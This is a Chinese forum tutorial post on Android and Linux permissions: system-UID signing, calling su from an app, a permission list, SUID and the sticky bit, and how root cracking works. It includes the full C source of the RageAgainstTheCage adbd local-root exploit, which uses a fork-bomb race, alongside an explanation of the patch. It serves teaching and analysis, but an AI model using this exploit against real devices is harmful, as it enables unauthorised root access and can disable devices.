TShopping

 找回密碼
 註冊
搜索
查看: 1417|回復: 0

[教學] Android系統權限和root權限

[複製鏈接]
發表於 2014-3-17 01:48:44 | 顯示全部樓層 |閱讀模式
 
Push to Facebook Push to Plurk Push to Twitter 
Android系統是運行在Linux內核上的,Android與Linux分別有自己的一套嚴格的安全及權限機制,
Android系統權限相關的內容,
(一)linux文件系統上的權限
-rwxr-x--x system   system       4156 2012-06-30 16:12 test.apk.
代表的是相應的用戶/用戶組及其他人對此文件的訪問權限,與此文件運行起來具有的權限完全不相關比如上面的例子只能說明system用戶擁有對此文件的讀寫執行權限;system組的用戶對此文件擁有讀、執行權限;其他人對此文件只具有執行權限。而test.apk運行起來後可以幹哪些事情,跟這個就不相關了。
千萬不要看apk文件系統上屬於system/system用戶及用戶組,或者root/root用戶及用戶組,就認為apk具有system或root權限。apk程序是運行在虛擬機上的,對應的是Android獨特的權限機制,只有體現到文件系統上時才使用linux的權限設置。
(二)Android的權限規則

(1)Android中的apk必須簽名
這種簽名不是基於權威證書的,不會決定某個應用允不允許安裝,而是一種自簽名證書。
重要的是,android系統有的權限是基於簽名的。比如:system等級的權限有專門對應的簽名,簽名不對,權限也就獲取不到。
默認生成的APK文件是debug簽名的。獲取system權限時用到的簽名見後面描述
(2)基於UserID的進程級別的安全機製麵
進程有獨立的地址空間,進程與進程間默認是不能互相訪問的,Android通過為每一個apk分配唯一的linux userID來實現,名稱為"app_"加一個數字,比如app_43不同的UserID,運行在不同的進程,所以apk之間默認便不能相互訪問。
Android提供了如下的一種機制,可以使兩個apk打破前面講的這種壁壘。
在AndroidManifest.xml中利用sharedUserId屬性給不同的package分配相同的userID,通過這樣做,兩個package可以被當做同一個程序,
系統會分配給兩個程序相同的UserID。當然,基於安全考慮,兩個apk需要相同的簽名,否則沒有驗證也就沒有意義了。
(3)默認apk生成的數據對外是不可見的
實現方法是:Android會為程序存儲的數據分配該程序的UserID。
借助於Linux嚴格的文件系統訪問權限,便實現了apk之間不能相互訪問似有數據的機制。
例:我的應用創建的一個文件,默認權限如下,可以看到只有UserID為app_21的程序才能讀寫該文件。
-rw------- app_21   app_21      87650 2000-01-01 09:48 test.txt
如何對外開放?
< 1> 使用MODE_WORLD_READABLE and/or MODE_WORLD_WRITEABLE標記。
When creating a new file with getSharedPreferences(String, int), openFileOutput(String, int), or openOrCreateDatabase(String, int, SQLiteDatabase.CursorFactory), you can use the MODE_WORLD_READABLE and/or MODE_WORLD_WRITEABLE flags to allow any other package to read/write the file. When setting these flags, the file is still owned by your application, but its global read and/or write permissions have been set appropriately so any other application can see it.

(4)AndroidManifest.xml中的顯式權限聲明
Android默認應用是沒有任何權限去操作其他應用或系統相關特性的,應用在進行某些操作時都需要顯式地去申請相應的權限。
一般以下動作時都需要申請相應的權限:
A particular permission may be enforced at a number of places during your program's operation:
At the time of a call into the system, to prevent an application from executing certain functions.When starting an activity, to prevent applications from launching activities of other applications.Both sending and receiving broadcasts, to control who can receive your broadcast or who can send a broadcast to you.When accessing and operating on a content provider.Binding or starting a service.

在應用安裝的時候,package installer會檢測該應用請求的權限,根據該應用的簽名或者提示用戶來分配相應的權限。
在程序運行期間是不檢測權限的。如果安裝時權限獲取失敗,那執行就會出錯,不會提示用戶權限不夠。
大多數情況下,權限不足導致的失敗會引發一個 SecurityException,會在系統log(system log)中有相關記錄。
(5)權限繼承/UserID繼承
當我們遇到apk權限不足時,我們有時會考慮寫一個linux程序,然後由apk調用它去完成某個它沒有權限完成的事情,很遺憾,這種方法是行不通的。
前面講過,android權限是在進程層面的,也就是說一個apk應用啟動的子進程的權限不可能超越其父進程的權限(即apk的權限),
即使單獨運行某個應用有權限做某事,但如果它是由一個apk調用的,那權限就會被限制。
實際上,android是通過給子進程分配父進程的UserID實現這一機制的。
(三)常見權限不足問題分析

首先要知道,普通apk程序是運行在非root、非system層級的,也就是說看要訪問的文件的權限時,看的是最後三位。
另外,通過system/app安裝的apk的權限一般比直接安裝或adb install安裝的apk的權限要高一些。

言歸正傳,運行一個android應用程序過程中遇到權限不足,一般分為兩種情況:
(1)Log中可明顯看到權限不足的提示。
此種情況一般是AndroidManifest.xml中缺少相應的權限設置,好好查找一番權限列表,應該就可解決,是最易處理的情況。
有時權限都加上了,但還是報權限不足,是什麼情況呢?
Android系統有一些API及權限是需要apk具有一定的等級才能運行的。
比如 SystemClock.setCurrentTimeMillis()修改系統時間,WRITE_SECURE_SETTINGS權限好像都是需要有system級的權限才行。
也就是說UserID是system.
(2)Log裡沒有報權限不足,而是一些其他Exception的提示,這也有可能是權限不足造成的。
比如:我們常會想讀/寫一個配置文件或其他一些不是自己創建的文件,常會報java.io.FileNotFoundException錯誤。
系統認為比較重要的文件一般權限設置的也會比較嚴格,特別是一些很重要的(配置)文件或目錄。

-r--r----- bluetooth bluetooth      935 2010-07-09 20:21 dbus.conf
drwxrwx--x system   system            2010-07-07 02:05 data

dbus.conf好像是藍牙的配置文件,從權限上來看,根本就不可能改動,非bluetooth用戶連讀的權利都沒有。
/data目錄下存的是所有程序的私有數據,默認情況下android是不允許普通apk訪問/data目錄下內容的,通過data目錄的權限設置可知,其他用戶沒有讀的權限。
所以adb普通權限下在data目錄下敲ls命令,會得到opendir failed, Permission denied的錯誤,通過代碼file.listfiles()也無法獲得data目錄下的內容。

上面兩種情況,一般都需要提升apk的權限,目前我所知的apk能提升到的權限就是system(具體方法見:如何使Android應用程序獲取系統權限),


怎樣使android apk 獲取system權限
最近在回答客戶的問題時,提到怎麼將apk 升級到root權限。

1.一般權限的添加
一般情況下,設定apk的權限,可在AndroidManifest.xml中添加android:sharedUserId="android.uid.xxx>
例如: 給apk添加system權限
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
     ... ...
   android:sharedUserId="android.uid.system">

同時還需要在對應的Android.mk中添加LOCAL_CERTIFICATE := platform這一項。即用系統的簽名,通過這種方式只能使apk的權限升級到system級別,系統中要求root權限才能訪問的文件,apk還是不能訪問。
比如在android 的API中有提供 SystemClock.setCurrentTimeMillis()函數來修改系統時間,這個函數需要root權限或者運行與系統進程中才可以用。
        第一個方法簡單點,不過需要在Android系統源碼的環境下用make來編譯:
        1. 在應用程序的AndroidManifest.xml中的manifest節點中加入android:sharedUserId="android.uid.system"這個屬性。
        2. 修改Android.mk文件,加入LOCAL_CERTIFICATE := platform這一行
        3. 使用mm命令來編譯,生成的apk就有修改系統時間的權限了。

        第二個方法是直接把eclipse編出來的apk用系統的簽名文件簽名
        1. 加入android:sharedUserId="android.uid.system"這個屬性。
        2. 使用eclipse編譯出apk文件。
        3. 使用目標系統的platform密鑰來重新給apk文件簽名。首先找到密鑰文件,在我ndroid源碼目錄中的位置是"build/target/product/security",下面的platform.pk8和platform.x509.pem兩個文件。然後用Android提供的Signapk工具來簽名,signapk的源代碼是在"build/tools/signapk"下,編譯後在out/host/linux-x86/framework下,用法為java -jar signapk.jar  platform.x509.pem platform.pk8 input.apk output.apk"。
       加入android:sharedUserId="android.uid.system"這個屬性。通過Shared User id,擁有同一個User id的多個APK可以配置成運行在同一個進程中。那麼把程序的UID配成android.uid.system,也就是要讓程序運行在系統進程中,這樣就有權限來修改系統時間了。
        只是加入UID還不夠,如果這時候安裝APK的話發現無法安裝,提示簽名不符,原因是程序想要運行在系統進程中還要有目標系統的platform key,就是上面第二個方法提到的platform.pk8和platform.x509.pem兩個文件。用這兩個key簽名後apk才真正可以放入系統進程中。第一個方法中加入LOCAL_CERTIFICATE := platform其實就是用這兩個key來簽名。
        這也有一個問題,就是這樣生成的程序只有在原始的Android系統或者是自己編譯的系統中才可以用,因為這樣的系統才可以拿到platform.pk8和platform.x509.pem兩個文件。要是別家公司做的Android上連安裝都安裝不了。試試原始的Android中的key來簽名,程序在模擬器上運行OK,不過放到G3上安裝直接提示"Package ... has no signatures that match those in shared user android.uid.system",這樣也是保護了系統的安全。


怎樣使android apk 獲取root權限
一般linux 獲取root權限是通過執行su命令,那能不能在apk程序中也同樣執行一下該命令呢,我們知道在linux編程中,有exec函數族:
  int execl(cONst char *path, const char *arg, ...);
  int execlp(const char *file, const char *arg, ...);
  int execle(const char *path, const char *arg, ..., char *const envp[]);
  int execv(const char *path, char *const argv[]);
  int execvp(const char *file, char *const argv[]);
  int execve(const char *path, char *const argv[], char *const envp[]);

在java中我們可以借助 Runtime.getRuntime().exec(String command)訪問底層Linux下的程序或腳本,這樣就能執行su命令,使apk具有root權限,能夠訪問系統中需要root權限才能執行的程序或腳本了,具體例子:

package com.visit.dialoglog;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import android.app.Activity;
import android.os.Bundle;
import android.util.Log;
public class VisitRootfileActivity extends Activity {
     private static final String TAG = "VisitRootfileActivity";
     Process process = null;
     Process process1 = null;   
     DataOutputStream os = null;
     DataInputStream is = null;
     /** Called when the activity is first created. */
     @Override
     public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.main);
         try {
             process = Runtime.getRuntime().exec("/system/xbin/su"); /*這裡可能需要修改su
   的源代碼 (注掉  if (myuid != AID_ROOT && myuid != AID_SHELL) {*/
            os = new DataOutputStream(process.getOutputStream());
             is = new DataInputStream(process.getInputStream());
            os.writeBytes("/system/bin/ls" + " \n");  //這裡可以執行具有root 權限的程序了  
             os.writeBytes(" exit \n");
             os.flush();
             process.waitFor();
         } catch (Exception e) {            
             Log.e(TAG, "Unexpected error - Here is what I know:" + e.getMessage());
         } finally {
             try {
                 if (os != null) {
                     os.close();
                 }
                 if (is != null) {
                     is.close();
                 }
                 process.destroy();
             } catch (Exception e) {
             }
         }// get the root privileges
     }
}



APK在AndroidManifest.xml常用權限android.permission.ACCESS_CHECKIN_PROPERTIES
//
允許讀寫訪問」properties」表在checkin數據庫中,改值可以修改上傳
android.permission.ACCESS_COARSE_LOCATION
//
允許一個程序訪問CellIDWiFi熱點來獲取粗略的位置
android.permission.ACCESS_FINE_LOCATION
//
允許一個程序訪問精良位置(GPS)
android.permission.ACCESS_LOCATION_EXTRA_COMMANDS
//
允許應用程序訪問額外的位置提供命令
android.permission.ACCESS_MOCK_LOCATION
//
允許程序創建模擬位置提供用於測試
android.permission.ACCESS_NETWORK_STATE
//
允許程序訪問有關GSM網絡信息
android.permission.ACCESS_SURFACE_FLINGER
//
允許程序使用SurfaceFlinger底層特性
android.permission.ACCESS_WIFI_STATE
//
允許程序訪問Wi-Fi網絡狀態信息
android.permission.ADD_SYSTEM_SERVICE
//
允許程序發佈系統級服務
android.permission.BATTERY_STATS
//
允許程序更新手機電池統計信息
android.permission.BLUETOOTH
//
允許程序連接到已配對的藍牙設備
android.permission.BLUETOOTH_ADMIN
//
允許程序發現和配對藍牙設備
android.permission.BRICK
//
請求能夠禁用設備(非常危險
android.permission.BROADCAST_PACKAGE_REMOVED
//
允許程序廣播一個提示消息在一個應用程序包已經移除後
android.permission.BROADCAST_STICKY
//
允許一個程序廣播常用intents
android.permission.CALL_PHONE
//
允許一個程序初始化一個電話撥號不需通過撥號用戶界面需要用戶確認
android.permission.CALL_PRIVILEGED
//
允許一個程序撥打任何號碼,包含緊急號碼無需通過撥號用戶界面需要用戶確認
android.permission.CAMERA
//
請求訪問使用照相設備
android.permission.CHANGE_COMPONENT_ENABLED_STATE
//
允許一個程序是否改變一個組件或其他的啟用或禁用
android.permission.CHANGE_CONFIGURATION
//
允許一個程序修改當前設置,如本地化


android.permission.CHANGE_NETWORK_STATE
//
允許程序改變網絡連接狀態
android.permission.CHANGE_WIFI_STATE
//
允許程序改變Wi-Fi連接狀態
android.permission.CLEAR_APP_CACHE
//
允許一個程序清楚緩存從所有安裝的程序在設備中
android.permission.CLEAR_APP_USER_DATA
//
允許一個程序清除用戶設置
android.permission.CONTROL_LOCATION_UPDATES
//
允許啟用禁止位置更新提示從無線模塊
android.permission.DELETE_CACHE_FILES
//
允許程序刪除緩存文件
android.permission.DELETE_PACKAGES
//
允許一個程序刪除包
android.permission.DEVICE_POWER
//
允許訪問底層電源管理
android.permission.DIAGNOSTIC
//
允許程序RW診斷資源
android.permission.DISABLE_KEYGUARD
//
允許程序禁用鍵盤鎖
android.permission.DUMP
//
允許程序返回狀態抓取信息從系統服務
android.permission.EXPAND_STATUS_BAR
//
允許一個程序擴展收縮在狀態欄,android開發網提示應該是一個類似Windows Mobile中的托盤程序
android.permission.FACTORY_TEST
//
作為一個工廠測試程序,運行在root用戶
android.permission.FLASHLIGHT
//
訪問閃光燈,android開發網提示HTC Dream不包含閃光燈
android.permission.FORCE_BACK
//
允許程序強行一個後退操作是否在頂層activities
android.permission.FOTA_UPDATE
//
暫時不瞭解這是做什麼使用的,android開發網分析可能是一個預留權限.
android.permission.GET_ACCOUNTS
//
訪問一個帳戶列表在Accounts Service
android.permission.GET_PACKAGE_SIZE
//
允許一個程序獲取任何package佔用空間容量
android.permission.GET_TASKS
//
允許一個程序獲取信息有關當前或最近運行的任務,一個縮略的任務狀態,是否活動等等
android.permission.HARDWARE_TEST
//
允許訪問硬件
android.permission.INJECT_EVENTS
//
允許一個程序截獲用戶事件如按鍵、觸摸、軌跡球等等到一個時間流,android開發網提醒算是hook技術吧
android.permission.INSTALL_PACKAGES
//
允許一個程序安裝packages
android.permission.INTERNAL_SYSTEM_WINDOW
//
允許打開窗口使用系統用戶界面
android.permission.INTERNET
//
允許程序打開網絡套接字
android.permission.MANAGE_APP_TOKENS
//
允許程序管理(創建、催後、 z- order默認向z軸推移)程序引用在窗口管理器中
android.permission.MASTER_CLEAR
//
目前還沒有明確的解釋,android開發網分析可能是清除一切數據,類似硬格機
android.permission.MODIFY_AUDIO_SETTINGS
//
允許程序修改全局音頻設置
android.permission.MODIFY_PHONE_STATE
//
允許修改話機狀態,如電源,人機接口等
android.permission.MOUNT_UNMOUNT_FILESYSTEMS
//
允許掛載和反掛載文件系統可移動存儲
android.permission.PERSISTENT_ACTIVITY
//
允許一個程序設置他的activities顯示
android.permission.PROCESS_OUTGOING_CALLS
//
允許程序監視、修改有關播出電話
android.permission.READ_CALENDAR
//
允許程序讀取用戶日曆數據
android.permission.READ_CONTACTS
//
允許程序讀取用戶聯繫人數據
android.permission.READ_FRAME_BUFFER
//
允許程序屏幕波或和更多常規的訪問幀緩衝數據
android.permission.READ_INPUT_STATE
//
允許程序返回當前按鍵狀態
android.permission.READ_LOGS
//
允許程序讀取底層系統日誌文件
android.permission.READ_OWNER_DATA
//
允許程序讀取所有者數據
android.permission.READ_SMS
//
允許程序讀取短信息
android.permission.READ_SYNC_SETTINGS
//
允許程序讀取同步設置
android.permission.READ_SYNC_STATS
//
允許程序讀取同步狀態
android.permission.REBOOT
//
請求能夠重新啟動設備
android.permission.RECEIVE_BOOT_COMPLETED
//
允許一個程序接收到
android.permission.RECEIVE_MMS
//
允許一個程序監控將收到MMS彩信,記錄或處理
android.permission.RECEIVE_SMS
//
允許程序監控一個將收到短信息,記錄或處理
android.permission.RECEIVE_WAP_PUSH
//
允許程序監控將收到WAP PUSH信息
android.permission.RECORD_AUDIO
//
允許程序錄製音頻
android.permission.REORDER_TASKS
//
允許程序改變Z軸排列任務
android.permission.RESTART_PACKAGES
//
允許程序重新啟動其他程序
android.permission.SEND_SMS
//
允許程序發送SMS短信
android.permission.SET_ACTIVITY_WATCHER
//
允許程序監控或控制activities已經啟動全局系統中
android.permission.SET_ALWAYS_FINISH
//
允許程序控制是否活動間接完成在處於後台時
android.permission.SET_ANIMATION_SCALE
//
修改全局信息比例
android.permission.SET_DEBUG_APP
//
配置一個程序用於調試
android.permission.SET_ORIENTATION
//
允許底層訪問設置屏幕方向和實際旋轉
android.permission.SET_PREFERRED_APPLICATIONS
//
允許一個程序修改列表參數PackageManager.addPackageToPreferred()PackageManager.removePackageFromPreferred()方法
android.permission.SET_PROCESS_FOREGROUND
//
允許程序當前運行程序強行到前台
android.permission.SET_PROCESS_LIMIT
//
允許設置最大的運行進程數量
android.permission.SET_TIME_ZONE
//
允許程序設置時間區域
android.permission.SET_WALLPAPER
//
允許程序設置壁紙
android.permission.SET_WALLPAPER_HINTS
//
允許程序設置壁紙hits
android.permission.SIGNAL_PERSISTENT_PROCESSES
//
允許程序請求發送信號到所有顯示的進程中
android.permission.STATUS_BAR
//
允許程序打開、關閉或禁用狀態欄及圖標Allows an application to open, close, or disable the status bar and its icons.
android.permission.SUBSCRIBED_FEEDS_READ
//
允許一個程序訪問訂閱RSS Feed內容提供
android.permission.SUBSCRIBED_FEEDS_WRITE
//
系統暫時保留改設置,android開發網認為未來版本會加入該功能。
android.permission.SYSTEM_ALERT_WINDOW
//
允許一個程序打開窗口使用 TYPE_SYSTEM_ALERT,顯示在其他所有程序的頂層(Allows an application to open windows using the type TYPE_SYSTEM_ALERT, shown on top of all other applications. )
android.permission.VIBRATE
//
允許訪問振動設備
android.permission.WAKE_LOCK
//
允許使用PowerManager WakeLocks保持進程在休眠時從屏幕消失
android.permission.WRITE_APN_SETTINGS
//
允許程序寫入APN設置
android.permission.WRITE_CALENDAR
//
允許一個程序寫入但不讀取用戶日曆數據
android.permission.WRITE_CONTACTS
//
允許程序寫入但不讀取用戶聯繫人數據
android.permission.WRITE_GSERVICES
//
允許程序修改Google服務地圖
android.permission.WRITE_OWNER_DATA
//
允許一個程序寫入但不讀取所有者數據
android.permission.WRITE_SETTINGS
//
允許程序讀取或寫入系統設置
android.permission.WRITE_SMS
//
允許程序寫短信
android.permission.WRITE_SYNC_SETTINGS
//
允許程序寫入同步設置
Linux的特殊文件權限
發佈於:  一般文件權限讀(R),寫(W),執行(X)權限比較簡單。一般材料上面都有介紹。                 這裡介紹一下一些特殊的文件權限——SUID,SGID,Stick bit。如果你檢查一下/usr/bin/passwd和/tmp/的文件權限你就會發現和普通的文件權限有少許不同,如下圖所示:
    這裡就涉及到SUID和Stick bit。
SUID和SGID
    我們首先來談一下passwd程序特殊的地方。大家都知道,Linux把用戶的密碼信息存放在/etc/shadow裡面,該文件屬性如下:
可以看到Shadow的只有所有者可讀寫,所有者是root,所以該文件對普通用戶是不可讀寫的。但是普通用戶調用passwd程序是可以修改自己的密碼的,這又是為什麼呢?難道普通用戶可以讀寫shadow文件?當然不是啦。password可以修改shadow文件的原因是他設置了SUID文件權限。
    SUID文件權限作用於可執行文件。一般的可執行文件在執行期的所有者是當前用戶,比如當前系統用戶是simon,simon運行程序a.out,a.out執行期的所有者應該是simon。但是如果我們給可執行文件設置了SUID權限,則該程序執行期間的所有者,就是該文件所有者。還以前面的a.out為例,假如a.out設置了SUID,並且其所有者是root,系統當前用戶是simon,當simon運行a.out的時候,a.out在運行期的所有者就是root,這時a.out可以存取只有root權限才能存取的資源,比如讀寫shadow文件。當a.out執行結束的時候當前用戶的權限又回到了simon的權限了。
     passwd就是設置了SUID權限,並且passwd的所有者是root,所以所有的用戶都可以執行他,在passwd運行期,程序獲得臨時的root權限,這時其可以存取shadow文件。當passwd運行完成,當前用戶又回到普通權限。
     同理,設置程序的SGID,可以使程序運行期可以臨時獲得所有者組的權限。在團隊開發的時候,這個文件權限比較有用,一般系統用SUID比較多。
     SGID可以用於目錄,當目錄設置了SGID之後,在該目錄下面建立的所有文件和目錄都具有和該目錄相同的用戶組。
Stick bit(粘貼位)
     對程序,該權限告訴系統在程序完成後在內存中保存一份運行程序的備份,如該程序常用,可為系統節省點時間,不用每次從磁盤加載到內存。Linux當前對文件沒有實現這個功能,一些其他的UNIX系統實現了這個功能。
     Stick bit可以作用於目錄,在設置了粘貼位的目錄下面的文件和目錄,只有所有者和root可以刪除他。現在我們可以回頭去看看/tmp/目錄的情況,這個目錄設置了粘貼位。所以說,所有人都可以對該目錄讀寫執行(777),這樣意味著所有人都可以在/tmp/下面創建臨時目錄。因為設置Stick bit只有所有者和root才能刪除目錄。這樣普通用戶只能刪除屬於自己的文件,而不能刪除其他人的文件。如下圖所示:
設置SUID,SGID,Stick bit
     前面介紹過SUID與SGID的功能,那麼,如何打開文件使其成為具有SUID與SGID的權限呢?這就需要使用數字更改權限了。現在應該知道,使用數字更改權限的方式為「3個數字」的組合,那麼,如果在這3個數字之前再加上一個數字,最前面的數字就表示這幾個屬性了(註:通常我們使用chmod 0777 filename的方式來設置filename的屬性時,則是假設沒有SUID、SGID及Sticky bit)。
     4為SUID
      2為SGID
      1為Sticky bit

      假設要將一個文件屬性改為「-rwsr-xr-x」,由於s在用戶權限中,所以是SUID,因此,在原先的755之前還要加上4,也就是使用「chmod 4755 filename」來設置。
     SUID也可以用「chmod u+s filename」來設置,「chmod u-s filename」來取消SUID設置;同樣,SGID可以用「chmod g+s filename」,「chmod g-s filename」來取消SGID設置。

Android系統root破解原理分析
獲得root權限的代碼如下:
Process process = Runtime.getRuntime().exec("su");
DataOutputStream os =new
DataOutputStream(process.getOutputStream());
......
os.writeBytes("exit\n");
os.flush();
process.waitFor();
    從上面代碼我們可以看到首先要運行su程序,其實root的秘密都在su程序中,Android系統默認的su程序只能root和shell可以用運行su,如果把這個限制拿掉,就是root破解了!
    下面我們仔細分析一下程序是怎樣獲得root權限的,如果對Linux的su命令熟悉的朋友可能知道su程序都設置SUID位,我們查看一下已經root破解上的su權限設置,
      我們發現su的所有者和所有組都是root,是其實是busybox的軟鏈接,我們查看busybox的屬性發現,其設置了SUIDSGID,並且所有者和所有組都是root。這樣運行busybox的普通用戶,busybox運行過程中獲得的是root的有效用戶。su程序則是把自己啟動一個新的程序,並把自己權限提升至root(我們前面提到su其實就是busybox,運行期它的權限是root,當然也有權限來提升自己的權限)。
     再強調一下不光root手機上su需要設置SUID,所有的Linux系統上的su程序都需要設置SUID位。

     我們發現su也設置了SUID位,這樣普通用戶也可以運行su程序,su程序會驗證root
密碼,如果正確su程序可以把用戶權限提高的root(因為其設置SUID位,運行期是root權限,這樣其有權限提升自己的權限)。
     Android系統的破解的根本原理就是替換掉系統中的su程序,因為系統中的默認su程序需要驗證實際用戶權限(只有root和shell用戶才有權運行系統默認的su程序,其他用戶運行都會返回錯誤)。而破解後的su將不檢查實際用戶權限,這樣普通的用戶也將可以運行su程序,也可以通過su程序將自己的權限提升。
     root破解沒有利用什麼Linux內核漏洞(Linux內核不可能有這麼大的漏洞存在),可以理解成root破解就是在你系統中植入「木馬su」,說它是「木馬」一點兒都不為過,假如惡意程序在系統中運行也可以通過su來提升自己的權限的這樣的結果將會是災難性的。所以一般情況下root過手機都會有一個SuperUser應用程序來讓用戶管理允許誰獲得root權限.但是要替換掉系統中su程序本身就是需要root權限的,怎樣在root破解過程中獲得root權限,假設需要破解的Android系統具備如下條件:
1、可以通過adb連接到設備,一般意味著驅動程序已經安裝。
2、但是adb獲得用戶權限是shell用戶,而不是root。

先瞭解一下adb工具,設備端有adbd服務程序後台運行,為開發機的adb程序提供服務,adbd的權限,決定了adb的權限。具體用戶可查看/system/core/adb下的源碼,查看Android.mk你將會發現adb和adbd其實是一份代碼,然後通過宏來編譯。
查看adb.c的adb_main函數你將會發現adbd中有如下代碼:
   1:int adb_main(int is_daemon)
   2: {
   3:    ......
   4:    property_get("ro.secure", value,"");
   5:    if (strcmp(value,"1") == 0) {
   6:        // don't run as root if ro.secure is set...
   7:        secure = 1;
   8:        ......
   9:    }
  10:
  11:    if (secure) {
  12:        ......
  13:        setgid(AID_SHELL);
  14:        setuid(AID_SHELL);
  15:        ......
  16:    }
  17: }
從中我們可以看到adbd會檢測系統的ro.secure屬性,如果該屬性為1則將會把自己的用戶權限降級成shell用戶。一般設備出廠的時候在/default.prop文件中都會有:
   1: ro.secure=1
這樣將會使adbd啟動的時候自動降級成shell用戶。
然後我們再介紹一下adbd在什麼時候啟動的呢?答案是在init.rc中配置的系統服務,由init進程啟動。我們查看init.rc中有如下內容:
   1: # adbd is controlled by the persist.service.adb.enable system property
   2: service adbd /sbin/adbd
   3:    disabled
對Android屬性系統少有瞭解的朋友將會知道,在init.rc中配置的系統服務啟動的時候都是root權限(因為init進行是root權限,其子程序也是root)。由此我們可以知道在adbd程序在執行:
   1:/* then switch user and group to "shell" */
   2: setgid(AID_SHELL);
   3: setuid(AID_SHELL);
代碼之前都是root權限,只有執行這兩句之後才變成shell權限的。
這樣我們就可以引出root破解過程中獲得root權限的方法了,那就是讓上面setgid和setuid函數執行失敗,也就是降級失敗,那就繼續在root權限下面運行了。
這裡面做一個簡單說明:
1、出廠設置的ro.secure屬性為1,則adbd也將運行在shell用戶權限下;
2、adb工具創建的進程ratc也運行在shell用戶權限下;
3ratc一直創建子進程(ratc創建的子程序也將會運行在shell用戶權限下),緊接著子程序退出,形成殭屍進程,佔用shell用戶的進程資源,直到到達shell用戶的進程數為RLIMIT_NPROC的時候(包括adbdratc及其子程序),這是ratc將會創建子進程失敗。這時候殺掉adbdadbd進程因為是Android系統服務,將會被Android系統自動重啟,這時候ratc也在競爭產生子程序。在adbd程序執行上面setgidsetuid之前,ratc已經創建了一個新的子進程,那麼shell用戶的進程限額已經達到,則adbd進程執行setgidsetuid將會失敗。根據代碼我們發現失敗之後adbd將會繼續執行。這樣adbd進程將會運行在root權限下面了。

這時重新用adb連接設備,則adb將會運行在root權限下面了。
通過上面的介紹我們發現利用RageAgainstTheCage漏洞,可以使adbd獲得root權限,也就是adb獲得了root權限。拿到root權限剩下的問題就好辦了,複製破解之後的su程序到系統中,都是沒有什麼技術含量的事情了。
其實堵住adbd的這個漏洞其實也挺簡單的,新版本已經加兩個這個補丁。
   1:/* then switch user and group to "shell" */
   2:if (setgid(AID_SHELL) != 0) {
   3:    exit(1);
   4: }
   5:if (setuid(AID_SHELL) != 0) {
   6:    exit(1);
   7: }
如果發現setgid和setuid函數執行失敗,則adbd進程異常退出,就把這個漏洞給堵上了。 http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2607http://blog.claudxiao.net/wp-content/uploads/2011/04/rageagainstthecage.c /* android 1.x/2.x adb setuid() root exploit
* (C) 2010 The Android Exploid Crew
*
* Needs to be executed via adb -d shell. It may take a while until
* all process slots are filled and the adb connection is reset.
*
* !!!This is PoC code for educational purposes only!!!
* If you run it, it might crash your device and make it unusable!
* So you use it at your own risk!
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h>


void die(const char *msg)
{
        perror(msg);
        exit(errno);
}

pid_t find_adb()
{
        char buf[256];
        int i = 0, fd = 0;
        pid_t found = 0;

        for (i = 0; i < 32000; ++i) {
               sprintf(buf, "/proc/%d/cmdline", i);
               if ((fd = open(buf, O_RDONLY)) < 0)
                       continue;
               memset(buf, 0, sizeof(buf));
               read(fd, buf, sizeof(buf) - 1);
               close(fd);
               if (strstr(buf, "/sbin/adb")) {
                       found = i;
                       break;
               }
        }
        return found;
}


void restart_adb(pid_t pid)
{
        kill(pid, 9);
}


void wait_for_root_adb(pid_t old_adb)
{
        pid_t p = 0;

        for (;;) {
               p = find_adb();
               if (p != 0 && p != old_adb)
                       break;
               sleep(1);
        }
        sleep(5);
        kill(-1, 9);
}


int main(int argc, char **argv)
{
        pid_t adb_pid = 0, p;
        int pids = 0, new_pids = 1;
        int pepe[2];
        char c = 0;
        struct rlimit rl;

        printf(" CVE-2010-EASY Android local root exploit (C) 2010 by 743C\n\n");
        printf(" checking NPROC limit ...\n");

        if (getrlimit(RLIMIT_NPROC, &rl) < 0)
               die("[-] getrlimit");

        if (rl.rlim_cur == RLIM_INFINITY) {
               printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting.\n");
               exit(1);
        }

        printf("[+] RLIMIT_NPROC={%lu, %lu}\n", rl.rlim_cur, rl.rlim_max);
        printf(" Searching for adb ...\n");

        adb_pid = find_adb();

        if (!adb_pid)
               die("[-] Cannot find adb");

        printf("[+] Found adb as PID %d\n", adb_pid);
        printf(" Spawning children. Dont type anything and wait for reset!\n");
        printf("\n If you like what we are doing you can send us PayPal money to\n"
               " 7-4-3-C@web.de so we can compensate time, effort and HW costs.\n"
               " If you are a company and feel like you profit from our work,\n"
               " we also accept donations > 1000 USD!\n");
        printf("\n adb connection will be reset. restart adb server on desktop and re-login.\n");

        sleep(5);

        if (fork() > 0)
               exit(0);

        setsid();
        pipe(pepe);

        /* generate many (zombie) shell-user processes so restarting
         * adb's setuid() will fail.
         * The whole thing is a bit racy, since when we kill adb
         * there is one more process slot left which we need to
         * fill before adb reaches setuid(). Thats why we fork-bomb
         * in a seprate process.
         */
        if (fork() == 0) {
               close(pepe[0]);
               for (;;) {
                       if ((p = fork()) == 0) {
                               exit(0);
                       } else if (p < 0) {
                               if (new_pids) {
                                      printf("\n[+] Forked %d childs.\n", pids);
                                      new_pids = 0;
                                      write(pepe[1], &c, 1);
                                      close(pepe[1]);
                               }
                       } else {
                               ++pids;
                       }
               }
        }

        close(pepe[1]);
        read(pepe[0], &c, 1);


        restart_adb(adb_pid);

        if (fork() == 0) {
               fork();
               for (;;)
                       sleep(0x743C);
        }

        wait_for_root_adb(adb_pid);
        return 0;
}


Android程序的安全系統
在Android系統中,系統為每一個應用程序(apk)創建了一個用戶和組。這個用戶和組都是受限用戶,不能訪問系統的數據,只能訪問自己的文件和目錄,當然它也不能訪問其他應用程序的數據。這樣設計可以盡可能地保護應用程序的私有數據,增強系統的安全性和健壯性。
     但是有一些應用程序是需要訪問一些系統資源的。比如Setting程序,它需要訪問WiFi,在系統中創建刪除文件等等操作。怎樣做到這一點兒呢?Android通過一定途徑可以獲得system權限。獲得system用戶權限,需要以下步驟:
1. 在應用程序的AndroidManifest.xml中的manifest節點中加入android:sharedUserId="android.uid.system"這個屬性。
2. 修改Android.mk文件,加入LOCAL_CERTIFICATE := platform這一行
3. 使用mm命令來編譯,生成的apk就有修改系統時間的權限了。
